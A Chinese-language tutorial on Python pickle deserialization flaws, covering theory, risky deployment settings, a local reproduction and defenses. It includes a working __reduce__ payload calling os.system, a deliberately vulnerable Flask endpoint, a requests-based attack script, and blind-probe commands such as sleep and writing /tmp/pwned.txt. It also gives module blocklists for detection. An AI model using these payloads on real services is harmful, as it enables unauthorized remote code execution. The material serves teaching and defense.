反序列化漏洞这几个字,在安全圈里一出现,大家第一反应往往是Java,毕竟Weblogic、Fastjson、Shiro在历年攻防实战里几乎成了标配话题。但你要是因此觉得Python生态里没这回事,那可真会踩大坑。Python同样有一套完整的序列化体系,其中最典型也最危险的就是pickle模块,围绕pickle.loads展开的攻击链,在企业内网里一打一个准。这篇文章就顺着标题,把Python反序列化漏洞从原理、攻击面、复现到防御完整捋一遍,既适合刚入门的安全测试同学,也适合想给自己业务代码排雷的后端开发。
1. 先把pickle讲透:序列化为什么会被黑客盯上
1.1 序列化是什么?程序员的日常与痛点
写程序的时候,对象活在内存里,比如一个 dict、一个自定义类实例,它们有类型、有嵌套关系、有方法。但内存不是持久化的地方,程序一重启数据就没了,跨服务传输也没法直接把内存对象丢到网络上。所以需要一个机制,把内存里的对象转换成可以存储、可以传输的格式,这个过程叫序列化;反过来从存储或网络数据里恢复对象,叫反序列化。
最常见的序列化格式是JSON。它可读性好、跨语言、简单,但JSON只能表达基础数据类型:字符串、数字、数组、布尔值、null。你要是想序列化一个Python对象实例,直接json.dumps(obj)很容易报错,因为JSON格式本身不理解什么叫“类实例”。这时候很多Python开发者会顺手拿起pickle,因为它什么对象都能存,存完还能原封不动恢复回来。
但“什么对象都能存”这句话背后,隐藏着一个巨大的安全隐患。
1.2 pickle的“真实身份”:一种对象重建指令流
先看一段最普通的用法:
import pickle data = {"name": "admin", "role": "user"} blob = pickle.dumps(data) print(blob) restored = pickle.loads(blob) print(restored)输出里的blob是一长串二进制字节流,看起来像乱码,完全不是给人读的。很多人把pickle当成“更强大的JSON”,用完就算了,不会去深究pickle到底做了什么。这里我强烈建议你停下来想一想:为什么pickle能恢复任意Python对象?
因为pickle序列化出来的内容,本质上不是“数据文件”,而是一套对象重建指令流。pickle模块内部有一套opcode机制,比如“创建对象”“导入某个模块”“调用某个函数”“设置属性”,反序列化时pickle.loads做的事情不是简单解析数据,而是把这段字节流当作指令,一条一条执行,在内存里重新构造出原来的对象。
这就像你去超市结账,购物小票上如果只写了“商品名称和价格”,收银员只需要照着信息录入;但如果小票上还混着“请顺便把收款机里的现金交给我”这种指令,收银员也照做了,那问题就大了。JSON是前面那种纯数据小票,pickle是后面那种能夹带指令的小票。
1.3 漏洞本质:信任边界被击穿
把pickle的反序列化和eval做一个类比,会有一种后背发凉的感觉:
如果程序对用户的输入直接调用了
eval(user_input),你会觉得这是灾难。那pickle.loads(untrusted_data),本质上就是同一个级别的灾难,只是它表现得更隐蔽。
因为pickle.loads的执行环境是当前Python进程,能访问到Python运行时里所有已导入的模块和全局函数。一个构造精巧的恶意pickle字节流,可以在反序列化时导入os、subprocess、sys这些模块,然后执行系统命令。整个利用过程,不需要目标代码里存在任何“漏洞函数”,只需要一个pickle.loads接收了外部可控数据。
所以反序列化漏洞的根本原因,不是某个函数写得有问题,而是信任模型出了问题:程序把一个承载指令的字节流当成了普通数据来信任。
这一点也适用于Java反序列化、PHP反序列化、Ruby反序列化,很多语言都有类似问题,表现形式大同小异。理解了信任边界这个概念,后面所有攻击和防御逻辑都能串起来。
2. 生产环境里最容易踩雷的反序列化场景
聊完原理,肯定有人会问:道理我都懂,但我们项目里也没人直接拿用户输入调pickle.loads啊。这恰恰是问题所在——实际生产环境里的反序列化调用点,远比想象中隐蔽。
2.1 缓存系统与Session存储:最经典的入口
很多项目用Redis做缓存,存Python对象时图省事,直接:
import pickle import redis r = redis.Redis() r.set("user:123", pickle.dumps(user_obj)) # 另一处读取 user_obj = pickle.loads(r.get("user:123"))这段代码本意是“高效”“方便”,但它引入了两个问题。第一,如果Redis本身存在未授权访问、弱口令,或者内网里有人能篡改网络流量,攻击者就可以把key的值替换成恶意payload;第二,一旦应用把恶意payload从Redis里取出来交给pickle.loads,攻击链就成立了。这种情况下开发者完全不知情,因为业务代码看起来都是“正常读缓存”的样子。说白了,缓存里存pickle对象,等于把炸弹埋在了应用最常走的路径上。
Session存储也是重灾区。Django早期版本支持PickleSerializer,如果你在项目的settings里看到类似配置:
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'就意味着session数据写入和读取时会经过pickle。Cookie签名可以防止外部篡改,但如果SECRET_KEY泄露、内部系统能串改session后端数据,反序列化攻击随时可能被触发。
2.2 消息队列、任务框架与RPC调用
消息队列和任务队列是另一个高发区。拿Celery来说,老项目里经常能看到这种全局配置:
CELERY_TASK_SERIALIZER = 'pickle' CELERY_ACCEPT_CONTENT = ['pickle']配置成pickle的理由通常是“任务参数里有自定义对象,JSON序列化不了”。结果就是,worker从队列里取消息时会自动执行pickle.loads。如果消息队列的访问控制不严,或者消息在传输链路中被篡改,攻击者往队列里放一个恶意任务账本,worker一消费就中招。
很多自研RPC框架也有类似问题。有些团队为了实现“透明传输Python对象”,在底层把请求参数和响应对象都用pickle封装。这种设计等于给内部服务之间开了一条“免检通道”,一旦某个服务被攻破,攻击者可以直接沿着RPC链路投递恶意序列化数据。
2.3 机器学习模型文件与数据分析脚本
近几年这个场景越来越值得关注。机器学习的模型文件,比如常见的.pkl、.joblib、某些框架的pt文件,底层很多都用pickle存储对象。举几个最常见的加载方式:
import joblib model = joblib.load("model.pkl") import pandas as pd df = pd.read_pickle("data.pkl") import torch net = torch.load("model.pt", weights_only=False)这些加载操作本质都在做pickle反序列化。如果你从网上下载了一个来路不明的预训练模型,或者同事通过聊天软件发给你一个“.pkl文件”,一旦加载,就等于在本地执行了一段完全未知的指令流。我见过不少数据科学团队,模型文件的管理比源代码还松散,这其实是很危险的。
顺带提一句,直接打开pandas.read_pickle加载未知文件这种操作,在数据分析和数据可视化流程里尤其常见。很多教程、源码大全示例代码都默认传入本地文件,但“本地文件”如果来自下载目录、来自网盘、来自微信传输,那就和接收用户上传文件没有任何区别。
2.4 那些不显眼却致命的漏网点
有一种漏网点藏在文件上传功能里。业务需求是上传Excel、CSV做导入,代码为了兼容性支持.pkl格式,或者直接对上传文件做read_pickle。这种接口一旦暴露到公网,等于给所有人递了一把能直接执行命令的钥匙。
还有一种藏在运维和监控脚本里。比如日志采集agent把抓取到的Python对象序列化到本地文件,再由另一个程序load回来做分析;比如某些自动化平台把自己写的任务对象pickle后存进数据库。这些内部脚本权限往往还特别高,要是其中某个环节数据可控,攻击路径会很顺畅。
排查的时候不要只盯着“用户输入”四个字,应该把目光放大到所有外部输入:从网络接收的、从消息队列接收的、从文件加载的、从数据库读回来的,都应该默认为不可信数据。
3. 本地复现:5分钟看懂触发链路
纸上谈兵没意思,自己动手复现一遍,对理解这条攻击链有质的帮助。准备环境不需要多复杂,一台能跑Python的机器就行。如果还没配好Python环境,VSCode加上Python扩展就能开跑,具体配置教程网上很多,这里不展开。
3.1reduce:攻击者利用的“合法后门”
pickle对象在序列化时,会检查对象有没有定义__reduce__方法。这个方法本来是Python提供给开发者用来控制“对象如何被序列化重建”的,它返回一个元组,约定好反序列化时用哪个可调用对象、传什么参数来重新生成目标对象。
攻击者不需要写任何畸形数据,只需要构造一个普通类,并实现__reduce__:
import pickle import os class Exploit: def __reduce__(self): return (os.system, ('echo pwned',)) payload = pickle.dumps(Exploit()) print(payload)这段代码生成了一个完全合规的pickle字节流。当目标环境执行pickle.loads(payload)时,unpickler会读取指令流,发现“需要调用os.system并传入参数echo pwned”,于是真的会去执行。整个过程中,目标机器上根本不需要存在Exploit这个类,payload是自己独立成型的攻击指令集。
这就是为什么反序列化漏洞很难用“检查恶意类存在”来防御——攻击者用的类根本不需要存在于目标代码里。
3.2 搭一个最小服务端:从构造payload到命令执行
为了模拟真实场景,我搭一个最简单的“服务端”。假设业务代码接收用户传来的Base64编码内容,然后反序列化恢复对象:
# server.py import pickle import base64 from flask import Flask, request app = Flask(__name__) @app.route("/user", methods=["POST"]) def user(): raw = request.get_data() try: obj = pickle.loads(base64.b64decode(raw)) return {"status": "ok", "username": obj.get("username", "")} except Exception as e: return {"error": str(e)} if __name__ == "__main__": app.run(host="0.0.0.0", port=9000, debug=True)然后我写一个攻击脚本,生成payload并发送:
import pickle import os import base64 import requests class Exploit: def __reduce__(self): return (os.system, ('id',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() resp = requests.post("http://127.0.0.1:9000/user", data=payload) print(resp.text)运行攻击脚本后,服务端进程的标准输出里会出现uid=... gid=...这类id命令执行结果。说明payload已经成功在服务端执行了系统命令。
这一步可以清晰看到整条攻击链路:攻击者构造对象 → pickle.dumps生成指令流 → 编码传输 → 服务端pickle.loads解析指令 → 执行系统命令。整个过程没有利用任何内存破坏、没有绕过任何认证,就是顺着业务代码的逻辑一路走完的。
3.3 结合Pikachu靶场思路扩展:PHP与Python原理相通
很多做Web安全的同学熟悉Pikachu靶场里的反序列化漏洞模块,但Pikachu是用PHP写的,练习时接触的是PHP的serialize和unserialize。这里有个很容易产生的误解:觉得PHP反序列化和Python反序列化是两个完全不同的东西。
实际不是。两者的核心思路一致:都是把对象序列化成字符串或字节流,反序列化时按指令重建对象;攻击者通过控制对象属性或利用魔术方法,让反序列化过程调用危险函数。PHP里有__wakeup、__destruct这些魔术方法,Python里有__reduce__、__setstate__,虽然语法不同,但攻击逻辑高度相似。
如果你在Pikachu里已经练会了PHP反序列化,再来看Python的这个问题会非常轻松。反过来,只会Python的开发者,也建议去Pikachu里看看PHP反序列化实验,把“对象属性可控 → 触发危险方法 → 执行命令”这个思维模型建立起来,比死记某个语言的payload实用得多。
3.4 有回显和无回显的验证姿势
在实际测试中,有回显是运气好。刚才的例子会把命令执行结果打印到服务端控制台,但请求响应里往往看不到命令输出。这时候需要换思路:
第一种是时间盲测。构造一条payload执行sleep 5,观察服务端响应时间是否明显增加了5秒。如果时间差明显,说明命令执行是通的。在脚本里我会这样验证:
class Exploit: def __reduce__(self): return (os.system, ('sleep 5',))第二种是写文件验证。执行命令把内容写入一个临时文件,比如echo infected > /tmp/pwned.txt,然后再通过其他接口或方式确认文件是否生成。这种方式在网络隔离环境下很实用。
第三种是看报错差异。故意构造一个会触发异常的payload,如果响应里出现pickle.UnpicklingError或类似堆栈信息,说明目标确实走到了反序列化逻辑,这时候可以进一步尝试。
这里必须强调一句:所有测试都应该在你自己搭建的靶场或已经拿到授权的环境中进行,没有授权就对外部系统做反序列化探测,性质和入侵没有区别。
4. 排查指南:怎么发现项目里的雷
讲完攻击,聊聊怎么防守。第一步不是直接上WAF,而是先把自己代码里的反序列化点全部找出来。
4.1 白盒审计:先从搜索几个关键词开始
代码审计时我会做一次全局搜索,重点盯下面这些函数和调用位置:
| 搜索关键词 | 典型位置 | 风险说明 |
|---|---|---|
| pickle.loads / pickle.load | 缓存读取、Session还原、RPC请求处理 | 直接执行对象重建指令 |
| joblib.load | 模型加载脚本 | 本质是pickle |
| torch.load | PyTorch模型加载 | 老版本默认可执行指令 |
| pandas.read_pickle | 数据处理脚本 | 加载即反序列化 |
| numpy.load(allow_pickle=True) | 数值计算代码 | 隐藏的反序列化入口 |
| yaml.load(input, Loader=yaml.Loader) | 配置文件解析 | 某些Loader支持反序列化对象 |
| jsonpickle.decode | 兼容对象JSON化的代码 | 能恢复任意对象 |
| shelve.open | 本地键值存储 | 底层自动使用pickle |
找到这些调用点之后,重点追踪一个关键问题:**这些函数接收的参数,源头在哪?**如果源头是网络请求参数、文件上传、消息队列、Redis缓存,哪怕经过了Base64编码、加密、压缩,只要密钥或编码规则可能泄露、链路可能被篡改,就需要标记为高风险。
一个实用的判断标准:数据流里是否存在“不可信边界”。如果数据从边界之外进入进程,再被交给反序列化函数,这个调用点就该处理。
4.2 黑盒验证:构造探测与回显技巧
当你手里没有源码,只能通过接口做黑盒验证时,核心思路就是拿payload去替换正常参数。
先抓一个正常请求,找到可疑的参数点。通常这些参数会被Base64编码,见到形似二进制乱码的字符串可以重点关注,先尝试Base64解码,解码后如果出现\x80\x04这类pickle协议头,基本可以锁定目标。
然后构造一条无害的探测payload,比如执行sleep 3,通过响应时间判断是否生效。或者执行一个写临时文件的操作,再尝试通过其他接口读取这个文件。如果接口报错信息会返回异常堆栈,那就更容易判断了,直接在报错里搜索pickle相关字样。
黑盒测试的难点在于判断“不生效”到底是因为没有漏洞,还是payload格式不对,还是命令执行了但没有回显。我的经验是先用最基础的sleep做时间盲测,这个几乎不依赖环境,命中率比较高。
4.3 流量与日志检测思路
在没有源码的情况下,流量侧的检测也能起到作用。pickle序列化后的数据有比较明显的特征,比如二进制序列中会出现模块名、函数名,像os、system、subprocess、__builtin__、posix这些标识符会以明文或半明文形式出现在字节流里。
WAF和IDS设备如果可以解析请求体,可以把这些特征写进规则。但要注意误报率问题,因为正常业务也可能出现这些字符串,最好结合请求的数据格式、长度、来源IP做综合判断。更稳妥的做法是让反序列化操作服务端主动记录审计日志:谁在什么时间、以什么接口、解析了哪一段序列化数据,这些日志在应急响应时非常关键。
5. 阻断RCE的四个防御方案
找到雷之后,就得排雷。防御工作可以从四个层面展开,优先级从高到低,越靠前越治本。
5.1 首选方案:用纯数据格式替代pickle
最安全的方案是彻底抛弃pickle,改用只有数据、没有指令的格式,最典型的就是JSON。同一条数据,用pickle和用JSON的信任模型完全不同:JSON反序列化只生成dict/list/str/num这些基础对象,攻击者再厉害,也没法让json.loads去调用os.system,因为JSON格式里根本没有“调用函数”这个语法。
这个替代方案的阻力通常不在技术,而在业务代码上。很多开发者抱怨“我们的对象有嵌套、有自定义类型,JSON处理不了”。解决办法是把对象的序列化和恢复拆分:序列化时只保存构造函数需要的字段,恢复时由自己写的映射逻辑拼装对象。多写十几行代码,换来的却是安全模型的彻底改变。
还有一个细节点:如果项目用到torch.load加载模型,新版本PyTorch支持weights_only=True参数,调这个参数的加载器不会执行pickle的完整指令流,安全性大幅提升。更推荐的方案是改用safetensors这类专门为安全模型加载设计的格式。
5.2 必须用pickle时:签名校验加时效控制
有些场景确实绕不开pickle,比如某些网络协议、某些历史遗留依赖。这时候一定要做完整性校验,我常用HMAC签名方式:
import hmac import hashlib import pickle import base64 import time SECRET_KEY = b"replace-with-real-secret" def sign_pickle(obj, expire_seconds=300): payload = pickle.dumps(obj) ts = int(time.time()) body = ts.to_bytes(8, "big") + payload sig = hmac.new(SECRET_KEY, body, hashlib.sha256).digest() return base64.b64encode(sig + body) def verify_pickle(raw): raw = base64.b64decode(raw) sig, body = raw[:32], raw[32:] expect = hmac.new(SECRET_KEY, body, hashlib.sha256).digest() if not hmac.compare_digest(sig, expect): raise ValueError("signature mismatch") ts = int.from_bytes(body[:8], "big") if time.time() - ts > 300: raise ValueError("payload expired") return pickle.loads(body[8:])签名方案解决的是“数据是谁生成的”和“数据有没有被篡改”两个问题。只要密钥不泄露,攻击者无法自行构造合法payload。时效控制解决的是“数据被劫持后长期有效”的问题。
但有两点必须说透:第一,签名不是万能药,如果密钥不够随机、泄露到日志里、或者硬编码在前后端代码里,签名就形同虚设;第二,签名方案并不能防护“合法发起者被攻破后主动构造恶意数据”的场景,所以它只能作为纵深防御的一环。
5.3 再加一道锁:自定义Unpickler限制可加载类
如果业务无法引入完整签名机制,至少可以做一个自定义Unpickler,在反序列化入口限制哪些类允许被加载,阻断常见危险模块和函数。
import pickle import io ALLOWED_MODULES = {"myproject.models", "myproject.dtos"} BLOCKED_MODULES = {"os", "subprocess", "sys", "builtins", "posix", "shutil"} class SafeUnpickler(pickle.Unpickler): def find_class(self, module, name): if module.split(".")[0] in BLOCKED_MODULES: raise pickle.UnpicklingError(f"forbidden module: {module}") if not module.startswith(tuple(ALLOWED_MODULES)): raise pickle.UnpicklingError(f"module not allowed: {module}") return super().find_class(module, name) def safe_loads(data): return SafeUnpickler(io.BytesIO(data)).load()原理是重写find_class方法,这个方法在pickle反序列化中负责“按模块名和类名导入对象”。黑名单拦截常见攻击模块,白名单模式限制只允许项目自己的模型类。
但我必须提醒大家,黑名单思路在反序列化面前是“堵不完的”。Python标准库和第三方库里能用来执行命令、读写文件的模块太多了,今天拦了os.system,明天换subprocess.Popen,再换ctypes,甚至用builtins.exec。所以这个方案只能作为临时缓解和纵深防御,不能当作唯一防线。真正稳的是白名单模式,只允许极少量的固定类,其他一律拒绝加载。
5.4 纵深防御:别把安全希望全押在单点上
安全没有银弹,上面的技术手段解决的是“反序列化函数本身”的问题,但攻击者真正拿到命令执行之后,能造成多大破坏,取决于环境对他的限制。
几个务实的做法:
反序列化操作所在的进程,不要用root或管理员权限运行,用普通低权限账号,甚至单独建一个受限账号。进程跑在容器或虚拟环境里,即使被攻破,攻击者能看到的、能控制的资源也被限制在容器内。网络层面做访问控制,反序列化操作只允许来自可信内网IP的请求,避免公网直接触达。依赖和运行时要及时更新,很多反序列化利用链依赖特定版本的库,升级到安全版本可以打断一部分已知攻击链。
另外,代码评审时要把“反序列化不可信数据”列为与SQL注入、命令注入同等级的高危问题。我见过不少团队买了一堆安全扫描器,但扫描器很难判断一段业务数据是不是“可信”的,真正有效的往往还是人工走查加自动化搜索结合。
6. 踩坑记录:复现和防御时的典型问题
最后分享一些我在实际排查、复现和防护中遇到的典型问题,拿来做一条避坑笔记。
6.1 报错“Can't get attribute”到底是什么意思
在复现时经常遇到AttributeError: Can't get attribute 'xxx'。报错的意思是反序列化指令流试图导入某个类,但当前环境里找不到这个类。这个情况要分两种看:如果你用__reduce__构造payload,反序列化时调用的类或函数通常存在于目标环境(比如os.system),所以一般不报这个错;但如果你的payload是直接序列化某个自定义类实例,目标环境没有同类定义,就会报错。这也是为什么__reduce__成为攻击者首选的原因,它不依赖目标代码里的自定义类。
6.2 测试环境能打,线上为什么不回显
环境差异是最常见的坑。本地测试时服务端进程直接跑在前台,命令输出能打印到终端,但线上服务通常跑在容器里,stdout被日志系统收走,甚至根本没有标准输出,所以命令执行了你也看不到。解决方案不要依赖回显,用时间盲测或写文件验证。另外注意权限差异,线上容器可能没有sleep命令、没有id命令可用的shell环境,payload可能执行了一部分但被报错吞掉了。
6.3 Python版本差异导致payload失效
pickle协议有多个版本,Python 2和Python 3之间的序列化数据不兼容,Python 3不同小版本默认的协议版本也不同。我在本地用Python 3.11生成的payload,放到目标Python 3.6环境里可能无法解析。解决办法是统一运行环境,或者序列化时显式指定协议版本,比如pickle.dumps(obj, protocol=2),协议2在不同版本间兼容性相对较好。防御方也可以利用这一点:如果业务无法升级,就在序列化和反序列化入口强制限制协议版本,低版本协议能降低一部分利用空间。
6.4 防御时黑名单越加越多,不是长久之计
早期我做防护时给Unpickler加了一堆黑名单,每看到一个新的攻击payload就往里加一个关键词,结果规则越来越长,误杀越来越多,漏网之鱼依然存在。后来我意识到,黑名单的思路本身就错了。反序列化漏洞利用的是“对象重建能力”,这个能力太通用,只要允许导入模块和调用函数,无论怎么拦截都拦不全。真正有效的只有两条路:要么追源码追到“不反序列化不可信数据”,要么在入口做包级别和类级别的严格白名单,配合签名校验。
6.5 团队协作里的“安全债”
还有一类问题很隐蔽,就是“中间人引入”。业务代码A不直接做pickle.loads,但它在Redis里存的缓存是pickle序列化的;另一个模块B负责读缓存并loads;结果B根本不知道上游数据可能被人篡改。这种跨模块、跨团队引入的风险,比单点代码写得不安全更难排查。所以我建议每个项目都做一张“数据信任边界表”,明确每个数据源是可信还是不可信、数据格式是什么、由谁负责校验,新接手的同事看到这张表就能避开很多坑。
我在实际运维中最大的体会是:反序列化漏洞不是某一个函数的问题,而是整个数据流信任模型的问题。有次帮朋友排查线上偶发报错,发现他们把requests.post返回的对象直接pickle后丢进了Redis队列,另一个worker取出来再还原。省了几行代码,却等于给内网开了一个大后门。后来我给他的代码评审意见只有一句话:凡是经过网络、磁盘、消息队列的数据,都要默认不可信。
最后再分享一个小技巧:拿到一个新项目,先全局搜索pickle.loads、yaml.load、read_pickle这类调用,然后顺着一行行数据流往前追,看它到底接收了谁的输入。这个方法比任何商业扫描器都靠谱,因为它能让你真正意识到,很多漏洞不是“被攻击者找到的”,而是“写代码的人亲手放进来的”。